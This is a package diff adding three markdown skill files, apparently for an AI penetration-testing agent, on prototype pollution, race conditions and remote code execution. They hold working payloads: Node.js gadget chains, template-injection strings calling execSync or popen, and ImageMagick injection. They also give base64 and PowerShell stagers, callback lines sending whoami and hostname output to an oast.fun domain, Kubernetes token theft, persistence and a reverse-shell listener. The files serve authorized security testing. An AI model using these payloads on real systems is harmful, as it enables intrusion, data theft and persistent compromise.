@gpzhang2001/sharpkit-skills 0.2.1

package/skills/vulnerabilities/prototype_pollution.md

@@ -0,0 +1,142 @@
+---
+name: prototype-pollution
+description: Client and server prototype pollution testing covering JavaScript object merge bugs, Node.js RCE chains, and filter bypasses
+---
+
+# Prototype Pollution
+
+Prototype pollution corrupts shared object prototypes (`Object.prototype`, `Array.prototype`, etc.), leading to application logic bypass, denial of service, and — on Node.js — remote code execution via gadget chains. Test anywhere user input merges into objects without safe key filtering.
+
+## Attack Surface
+
+**Languages & Runtimes**
+- JavaScript/TypeScript (browser and Node.js)
+- JSON parsers that preserve `__proto__`, `constructor`, `prototype` keys
+- Server-side template engines and config merge utilities
+
+**Input Vectors**
+- JSON request bodies, query strings, multipart form fields
+- URL-encoded nested objects (`__proto__[key]=value`)
+- WebSocket messages, GraphQL variables, file import formats (JSON, YAML)
+
+**Vulnerable Patterns**
+- Deep merge/extend: `lodash.merge`, `jQuery.extend`, custom `Object.assign` loops
+- Query parsers: `qs`, `body-parser` with nested object support
+- Client-side routing, state hydration, analytics SDK config merges
+
+## Key Vulnerabilities
+
+### Client-Side Prototype Pollution
+
+**Gadget Effects**
+- Bypass auth checks reading `user.isAdmin` when polluted on prototype
+- DOM XSS via polluted properties consumed by `innerHTML`, `document.write`, script loaders
+- Cookie/session manipulation if app reads config from polluted defaults
+
+**Payload Shapes**
+```json
+{"__proto__": {"isAdmin": true}}
+{"constructor": {"prototype": {"isAdmin": true}}}
+{"__proto__.polluted": "yes"}
+```
+
+**URL-encoded (qs-style)**
+```
+?__proto__[isAdmin]=true
+?constructor[prototype][isAdmin]=true
+```
+
+### Server-Side Prototype Pollution (Node.js)
+
+**Common Sinks**
+- `lodash.merge`, `lodash.defaultsDeep`, `deep-extend`, `merge-options`
+- Express/query parsers accepting nested objects
+- YAML `load()` (not `safeLoad`) with prototype keys
+- JSON.parse → merge into existing object without null prototype
+
+**RCE Gadget Chains (Node.js)**
+Pollute properties consumed by child_process, template engines, or require paths:
+```json
+{"__proto__": {"shell": "/proc/self/exe", "argv0": "node", "NODE_OPTIONS": "--require /tmp/evil.js"}}
+{"__proto__": {"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id')//"}}
+```
+
+Gadget availability depends on package versions — enumerate `node_modules` in white-box scans.
+
+### Filter Bypasses
+
+**Key Sanitization Bypasses**
+- Unicode normalization: `__proto__` variants, fullwidth underscores
+- Nested forms: `constructor.prototype` instead of `__proto__`
+- Array pollution: `__proto__[0]`, `[].__proto__`
+- JSON `$` or `.` keys in some parsers (MongoDB-style operators overlap — see nosql_injection skill)
+
+**Freeze/Seal Gaps**
+- Pollution before `Object.freeze` on instance but not prototype
+- Pollution affecting newly created objects after merge
+
+## Testing Methodology
+
+1. **Identify merge points** — Search for extend/merge/defaults/deep copy on user-controlled objects
+2. **Baseline probe** — Inject benign pollution marker:
+   ```json
+   {"__proto__": {"pollutionCanary": "yes"}}
+   ```
+   Verify via response behavior, error messages, or follow-up request reading shared state
+3. **Shape variants** — Test `__proto__`, `constructor.prototype`, nested bracket notation
+4. **Channel matrix** — JSON body, query string, multipart, WebSocket for same endpoint
+5. **Gadget hunting (Node.js)** — Map polluted keys to sinks in dependency tree (ejs, pug, handlebars, child_process wrappers)
+6. **Client-side** — Check if polluted properties affect routing, auth UI, or DOM sinks
+
+## Validation
+
+1. Demonstrate a property on `Object.prototype` (or relevant prototype) affecting behavior on unrelated objects
+2. Show security impact: auth bypass, XSS execution, or server-side command execution with minimal PoC
+3. Prove pollution persists across requests (server) or page lifetime (client) as applicable
+4. Document exact merge function and input path (parameter name, content-type)
+5. Confirm fix: null-prototype objects, `Object.create(null)`, or key blocklists on `__proto__`/`constructor`/`prototype`
+
+## False Positives
+
+- Parser strips `__proto__` before merge — marker property never appears on prototype
+- Framework uses `Object.create(null)` for options objects throughout
+- Polluted key visible in JSON echo but never merged into object graph
+- Client-side pollution blocked by frozen prototypes in modern hardened libraries (verify no behavioral change)
+- WAF blocks payload but alternate encoding also blocked consistently
+
+## Bypass Methods
+
+- Switch from `__proto__` to `constructor[prototype]` when only one is filtered
+- Use array notation: `__proto__[key]`, `[].__proto__.key`
+- Content-type switching: JSON vs `application/x-www-form-urlencoded` vs multipart
+- Split pollution across multiple parameters merged sequentially
+- Second-order pollution: store payload, trigger merge in background job or export pipeline
+
+## Impact
+
+- Authentication/authorization bypass via polluted flag checks
+- DOM XSS and session compromise in browsers
+- Remote code execution on Node.js through known gadget chains
+- Denial of service via polluting widely read prototype properties
+
+## Pro Tips
+
+1. Always verify pollution with a unique canary key (`pollutionCanary_<random>`) before attempting RCE gadgets
+2. In white-box scans, grep for `merge`, `extend`, `defaultsDeep`, `assign` with user input
+3. Check both request parsing and response template config merges (second-order)
+4. Node gadget chains are version-specific — confirm package version before claiming RCE
+5. Combine with client-side template injection if polluted keys flow into rendering config
+
+## Tooling
+
+Detection is mostly about payload shapes (above) plus a couple of light helpers. The sandbox has `go` and `nuclei`; `ppfuzz` is a single static binary.
+
+- **ppfuzz** (dwisiswant0) — fast client-side prototype-pollution fuzzer (Rust, single binary); good for spraying the URL/param shapes across many endpoints: `ppfuzz -l urls.txt`
+- **nuclei** (preinstalled) — has prototype-pollution templates for quick triage: `nuclei -u https://target -tags prototype-pollution`
+- **BlackFan `client-side-prototype-pollution`** — not a tool but the canonical **gadget reference**: maps polluted keys to concrete DOM-XSS sinks per library (jQuery, Popper, Wistia, etc.). Use it to turn a confirmed pollution into real impact.
+
+For server-side gadget hunting there is no reliable one-click tool — enumerate `node_modules` in white-box scope and match polluted keys to sinks (`ejs`/`pug` `outputFunctionName`, `child_process` `shell`/`NODE_OPTIONS`) as covered above.
+
+## Summary
+
+Any unsafe recursive merge of user-controlled keys is a prototype pollution candidate. Block `__proto__`, `constructor`, and `prototype` keys, use null-prototype objects, and validate impact with behavioral proof — not just reflected keys.

package/skills/vulnerabilities/race_conditions.md

@@ -0,0 +1,181 @@
+---
+name: race-conditions
+description: Race condition testing for TOCTOU bugs, double-spend, and concurrent state manipulation
+---
+
+# Race Conditions
+
+Concurrency bugs enable duplicate state changes, quota bypass, financial abuse, and privilege errors. Treat every read–modify–write and multi-step workflow as adversarially concurrent.
+
+## Attack Surface
+
+**Read-Modify-Write**
+- Sequences without atomicity or proper locking
+
+**Multi-Step Operations**
+- Check → reserve → commit with gaps between phases
+
+**Cross-Service Workflows**
+- Sagas, async jobs with eventual consistency
+
+**Rate Limits and Quotas**
+- Controls implemented at the edge only
+
+## High-Value Targets
+
+- Payments: auth/capture/refund/void; credits/loyalty points; gift cards
+- Coupons/discounts: single-use codes, stacking checks, per-user limits
+- Quotas/limits: API usage, inventory reservations, seat counts, vote limits
+- Auth flows: password reset/OTP consumption, session minting, device trust
+- File/object storage: multi-part finalize, version writes, share-link generation
+- Background jobs: export/import create/finalize endpoints; job cancellation/approve
+- GraphQL mutations and batch operations; WebSocket actions
+
+## Reconnaissance
+
+### Identify Race Windows
+
+- Look for explicit sequences: "check balance then deduct", "verify coupon then apply", "check inventory then purchase"
+- Watch for optimistic concurrency markers: ETag/If-Match, version fields, updatedAt checks
+- Examine idempotency-key support: scope (path vs principal), TTL, and persistence (cache vs DB)
+- Map cross-service steps: when is state written vs published, what retries/compensations exist
+
+### Signals
+
+- Sequential request fails but parallel succeeds
+- Duplicate rows, negative counters, over-issuance, or inconsistent aggregates
+- Distinct response shapes/timings for simultaneous vs sequential requests
+- Audit logs out of order; multiple 2xx for the same intent; missing or duplicate correlation IDs
+
+## Key Vulnerabilities
+
+### Request Synchronization
+
+- HTTP/2 multiplexing for tight concurrency; send many requests on warmed connections
+- Last-byte synchronization: hold requests open and release final byte simultaneously
+- Connection warming: pre-establish sessions, cookies, and TLS to remove jitter
+
+### Idempotency and Dedup Bypass
+
+- Reuse the same idempotency key across different principals/paths if scope is inadequate
+- Hit the endpoint before the idempotency store is written (cache-before-commit windows)
+- App-level dedup drops only the response while side effects (emails/credits) still occur
+
+### Atomicity Gaps
+
+- Lost update: read-modify-write increments without atomic DB statements
+- Partial two-phase workflows: success committed before validation completes
+- Unique checks done outside a unique index/upsert: create duplicates under load
+
+### Cross-Service Races
+
+- Saga/compensation timing gaps: execute compensation without preventing the original success path
+- Eventual consistency windows: act in Service B before Service A's write is visible
+- Retry storms: duplicate side effects due to at-least-once delivery without idempotent consumers
+
+### Rate Limits and Quotas
+
+- Per-IP or per-connection enforcement: bypass with multiple IPs/sessions
+- Counter updates not atomic or sharded inconsistently; send bursts before counters propagate
+
+### Optimistic Concurrency Evasion
+
+- Omit If-Match/ETag where optional; supply stale versions if server ignores them
+- Version fields accepted but not validated across all code paths (e.g., GraphQL vs REST)
+
+### Database Isolation
+
+- Exploit READ COMMITTED/REPEATABLE READ anomalies: phantoms, non-serializable sequences
+- Upsert races: use unique indexes with proper ON CONFLICT/UPSERT or exploit naive existence checks
+- Lock granularity issues: row vs table; application locks held only in-process
+
+### Distributed Locks
+
+- Redis locks without NX/EX or fencing tokens allow multiple winners
+- Locks stored in memory on a single node; bypass by hitting other nodes/regions
+
+## Bypass Techniques
+
+- Distribute across IPs, sessions, and user accounts to evade per-entity throttles
+- Switch methods/content-types/endpoints that trigger the same state change via different code paths
+- Intentionally trigger timeouts to provoke retries that cause duplicate side effects
+- Degrade the target (large payloads, slow endpoints) to widen race windows
+
+## Special Contexts
+
+### GraphQL
+
+- Parallel mutations and batched operations may bypass per-mutation guards
+- Ensure resolver-level idempotency and atomicity
+- Persisted queries and aliases can hide multiple state changes in one request
+
+### WebSocket
+
+- Per-message authorization and idempotency must hold
+- Concurrent emits can create duplicates if only the handshake is checked
+
+### Files and Storage
+
+- Parallel finalize/complete on multi-part uploads can create duplicate or corrupted objects
+- Re-use pre-signed URLs concurrently
+
+### Auth Flows
+
+- Concurrent consumption of one-time tokens (reset codes, magic links) to mint multiple sessions
+- Verify consume is atomic
+
+## Chaining Attacks
+
+- Race + Business logic: violate invariants (double-refund, limit slicing)
+- Race + IDOR: modify or read others' resources before ownership checks complete
+- Race + CSRF: trigger parallel actions from a victim to amplify effects
+- Race + Caching: stale caches re-serve privileged states after concurrent changes
+
+## Testing Methodology
+
+1. **Model invariants** - Conservation of value, uniqueness, maximums for each workflow
+2. **Identify reads/writes** - Where they occur (service, DB, cache)
+3. **Baseline** - Single requests to establish expected behavior
+4. **Concurrent requests** - Issue parallel requests with identical inputs; observe deltas
+5. **Scale and synchronize** - Ramp up parallelism, use HTTP/2, align timing (last-byte sync)
+6. **Cross-channel** - Test across web, API, GraphQL, WebSocket
+7. **Confirm durability** - Verify state changes persist and are reproducible
+
+## Validation
+
+1. Single request denied; N concurrent requests succeed where only 1 should
+2. Durable state change proven (ledger entries, inventory counts, role/flag changes)
+3. Reproducible under controlled synchronization (HTTP/2, last-byte sync) across multiple runs
+4. Evidence across channels (e.g., REST and GraphQL) if applicable
+5. Include before/after state and exact request set used
+
+## False Positives
+
+- Truly idempotent operations with enforced ETag/version checks or unique constraints
+- Serializable transactions or correct advisory locks/queues
+- Visual-only glitches without durable state change
+- Rate limits that reject excess with atomic counters
+
+## Impact
+
+- Financial loss (double spend, over-issuance of credits/refunds)
+- Policy/limit bypass (quotas, single-use tokens, seat counts)
+- Data integrity corruption and audit trail inconsistencies
+- Privilege or role errors due to concurrent updates
+
+## Pro Tips
+
+1. Favor HTTP/2 with warmed connections; add last-byte sync for precision
+2. Start small (N=5–20), then scale; too much noise can mask the window
+3. Target read–modify–write code paths and endpoints with idempotency keys
+4. Compare REST vs GraphQL vs WebSocket; protections often differ
+5. Look for cross-service gaps (queues, jobs, webhooks) and retry semantics
+6. Check unique constraints and upsert usage; avoid relying on pre-insert checks
+7. Use correlation IDs and logs to prove concurrent interleaving
+8. Widen windows by adding server load or slow backend dependencies
+9. Validate on production-like latency; some races only appear under real load
+10. Document minimal, repeatable request sets that demonstrate durable impact
+
+## Summary
+
+Concurrency safety is a property of every path that mutates state. If any path lacks atomicity, proper isolation, or idempotency, parallel requests will eventually break invariants.

package/skills/vulnerabilities/rce.md

@@ -0,0 +1,250 @@
+---
+name: rce
+description: RCE testing covering command injection, deserialization, template injection, and code evaluation
+---
+
+# RCE
+
+Remote code execution leads to full server control when input reaches code execution primitives: OS command wrappers, dynamic evaluators, template engines, deserializers, media pipelines, and build/runtime tooling. Focus on quiet, portable oracles and chain to stable shells only when needed.
+
+## Attack Surface
+
+**Command Execution**
+- OS command execution via wrappers (shells, system utilities, CLIs)
+
+**Dynamic Evaluation**
+- Template engines, expression languages, eval/vm
+
+**Deserialization**
+- Insecure deserialization and gadget chains across languages
+
+**Media Pipelines**
+- ImageMagick, Ghostscript, ExifTool, LaTeX, ffmpeg
+
+**SSRF Chains**
+- Internal services exposing execution primitives (FastCGI, Redis)
+
+**Container Escalation**
+- App RCE to node/cluster compromise via Docker/Kubernetes
+
+## Detection Channels
+
+### Time-Based
+
+**Unix**
+- `;sleep 1`, `` `sleep 1` ``, `|| sleep 1`
+- Gate delays with short subcommands to reduce noise
+
+**Windows**
+- CMD: `& timeout /t 2 &`, `ping -n 2 127.0.0.1`
+- PowerShell: `Start-Sleep -s 2`
+
+### OAST
+
+Use `interactsh-client -v` in the sandbox to mint a unique callback
+domain (`*.oast.fun`); substitute it for `attacker.tld` below. Each
+invocation prints inbound DNS/HTTP hits to stdout in real time.
+
+**DNS**
+```bash
+nslookup $(whoami).xyz.oast.fun
+```
+
+**HTTP**
+```bash
+curl https://xyz.oast.fun/$(hostname)
+```
+
+### Output-Based
+
+**Direct**
+```bash
+;id;uname -a;whoami
+```
+
+**Encoded**
+```bash
+;(id;hostname)|base64
+```
+
+## Key Vulnerabilities
+
+### Command Injection
+
+**Delimiters and Operators**
+- Unix: `; | || & && `cmd` $(cmd) $() ${IFS}` newline/tab
+- Windows: `& | || ^`
+
+**Argument Injection**
+- Inject flags/filenames into CLI arguments (e.g., `--output=/tmp/x`, `--config=`)
+- Break out of quoted segments by alternating quotes and escapes
+- Environment expansion: `$PATH`, `${HOME}`, command substitution
+- Windows: `%TEMP%`, `!VAR!`, PowerShell `$(...)`
+- When a shell-free subprocess (`execve`/`subprocess.run([...])`) receives a user-controlled argument, load `argument_injection` to test option smuggling and any separately identified argv or secondary-parser boundary.
+
+**Path and Builtin Confusion**
+- Force absolute paths (`/usr/bin/id`) vs relying on PATH
+- Use builtins or alternative tools (`printf`, `getent`) when `id` is filtered
+- Use `sh -c` or `cmd /c` wrappers to reach the shell
+
+**Evasion**
+- Whitespace/IFS: `${IFS}`, `$'\t'`, `<`
+- Token splitting: `w'h'o'a'm'i`, `w"h"o"a"m"i`
+- Variable building: `a=i;b=d; $a$b`
+- Base64 stagers: `echo payload | base64 -d | sh`
+- PowerShell: `IEX([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(...)))`
+
+### Template Injection
+
+Identify server-side template engines: Jinja2/Twig/Blade/Freemarker/Velocity/Thymeleaf/EJS/Handlebars/Pug
+
+**Minimal Probes**
+```
+Jinja2: {{7*7}} → {{cycler.__init__.__globals__['os'].popen('id').read()}}
+Twig: {{7*7}} → {{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}}
+Freemarker: ${7*7} → <#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }
+EJS: <%= global.process.mainModule.require('child_process').execSync('id') %>
+```
+
+### Deserialization and EL
+
+**Java**
+- Gadget chains via CommonsCollections/BeanUtils/Spring
+- Tools: ysoserial
+- JNDI/LDAP chains (Log4Shell-style) when lookups are reachable
+
+**.NET**
+- BinaryFormatter/DataContractSerializer
+- APIs accepting untrusted ViewState without MAC
+
+**PHP**
+- `unserialize()` and PHAR metadata
+- Autoloaded gadget chains in frameworks and plugins
+
+**Python/Ruby**
+- pickle, `yaml.load`/`unsafe_load`, Marshal
+- Auto-deserialization in message queues/caches
+
+**Expression Languages**
+- OGNL/SpEL/MVEL/EL reaching Runtime/ProcessBuilder/exec
+
+### Media and Document Pipelines
+
+**ImageMagick/GraphicsMagick**
+- policy.xml may limit delegates; still test legacy vectors
+```
+push graphic-context
+fill 'url(https://x.tld/a"|id>/tmp/o")'
+pop graphic-context
+```
+
+**Ghostscript**
+- PostScript in PDFs/PS: `%pipe%id` file operators
+
+**ExifTool**
+- Crafted metadata invoking external tools or library bugs
+
+**LaTeX**
+- `\write18`/`--shell-escape`, `\input` piping; pandoc filters
+
+**ffmpeg**
+- concat/protocol tricks mediated by compile-time flags
+
+### SSRF to RCE
+
+**FastCGI**
+- `gopher://` to php-fpm (build FPM records to invoke system/exec)
+
+**Redis**
+- `gopher://` write cron/authorized_keys or webroot
+- Module load when allowed
+
+**Admin Interfaces**
+- Jenkins script console, Spark UI, Jupyter kernels reachable internally
+
+### Container and Kubernetes
+
+**Docker**
+- From app RCE, inspect `/.dockerenv`, `/proc/1/cgroup`
+- Enumerate mounts and capabilities: `capsh --print`
+- Abuses: mounted docker.sock, hostPath mounts, privileged containers
+- Write to `/proc/sys/kernel/core_pattern` or mount host with `--privileged`
+
+**Kubernetes**
+- Steal service account token from `/var/run/secrets/kubernetes.io/serviceaccount`
+- Query API for pods/secrets; enumerate RBAC
+- Talk to kubelet on 10250/10255; exec into pods
+- Escalate via privileged pods, hostPath mounts, or daemonsets
+
+## Bypass Techniques
+
+**Encoding Differentials**
+- URL encoding, Unicode normalization, comment insertion, mixed case
+- Request smuggling to reach alternate parsers
+
+**Binary Alternatives**
+- Absolute paths and alternate binaries (busybox, sh, env)
+- Windows variations (PowerShell vs CMD)
+- Constrained language bypasses
+
+## Post-Exploitation
+
+**Privilege Escalation**
+- `sudo -l`; SUID binaries; capabilities (`getcap -r / 2>/dev/null`)
+
+**Persistence**
+- cron/systemd/user services; web shell behind auth
+- Plugin hooks; supply chain in CI/CD
+
+**Lateral Movement**
+- SSH keys, cloud metadata credentials, internal service tokens
+
+## Testing Methodology
+
+1. **Identify sinks** - Command wrappers, template rendering, deserialization, file converters, report generators, plugin hooks
+2. **Establish oracle** - Timing, DNS/HTTP callbacks, or deterministic output diffs (length/ETag)
+3. **Confirm context** - User, working directory, PATH, shell, SELinux/AppArmor, containerization
+4. **Map boundaries** - Read/write locations, outbound egress
+5. **Progress to control** - File write, scheduled execution, service restart hooks
+
+## Validation
+
+1. Provide a minimal, reliable oracle (DNS/HTTP/timing) proving code execution
+2. Show command context (uid, gid, cwd, env) and controlled output
+3. Demonstrate persistence or file write under application constraints
+4. If containerized, prove boundary crossing attempts (host files, kube APIs) and whether they succeed
+5. Keep PoCs minimal and reproducible across runs and transports
+
+## False Positives
+
+- Only crashes or timeouts without controlled behavior
+- Filtered execution of a limited command subset with no attacker-controlled args
+- Sandboxed interpreters executing in a restricted VM with no IO or process spawn
+- Simulated outputs not derived from executed commands
+
+## Impact
+
+- Remote system control under application user; potential privilege escalation to root
+- Data theft, encryption/signing key compromise, supply-chain insertion, lateral movement
+- Cluster compromise when combined with container/Kubernetes misconfigurations
+
+## Pro Tips
+
+1. Prefer OAST oracles; avoid long sleeps—short gated delays reduce noise
+2. When command injection is weak, pivot to file write or deserialization/SSTI paths
+3. Treat converters/renderers as first-class sinks; many run out-of-process with powerful delegates
+4. For Java/.NET, enumerate classpaths/assemblies and known gadgets; verify with out-of-band payloads
+5. Confirm environment: PATH, shell, umask, SELinux/AppArmor, container caps
+6. Keep payloads portable (POSIX/BusyBox/PowerShell) and minimize dependencies
+7. Document the smallest exploit chain that proves durable impact; avoid unnecessary shell drops
+
+## Tooling
+
+- Reverse-shell listener: `ncat -lvnp 4444` (in the sandbox; `ncat` is the
+  netcat variant that ships in the image). Pair with a one-shot shell
+  payload only when OAST + selective reads are insufficient — never
+  drop a persistent shell when a single targeted command will prove it.
+
+## Summary
+
+RCE is a property of the execution boundary. Find the sink, establish a quiet oracle, and escalate to durable control only as far as necessary. Validate across transports and environments; defenses often differ per code path.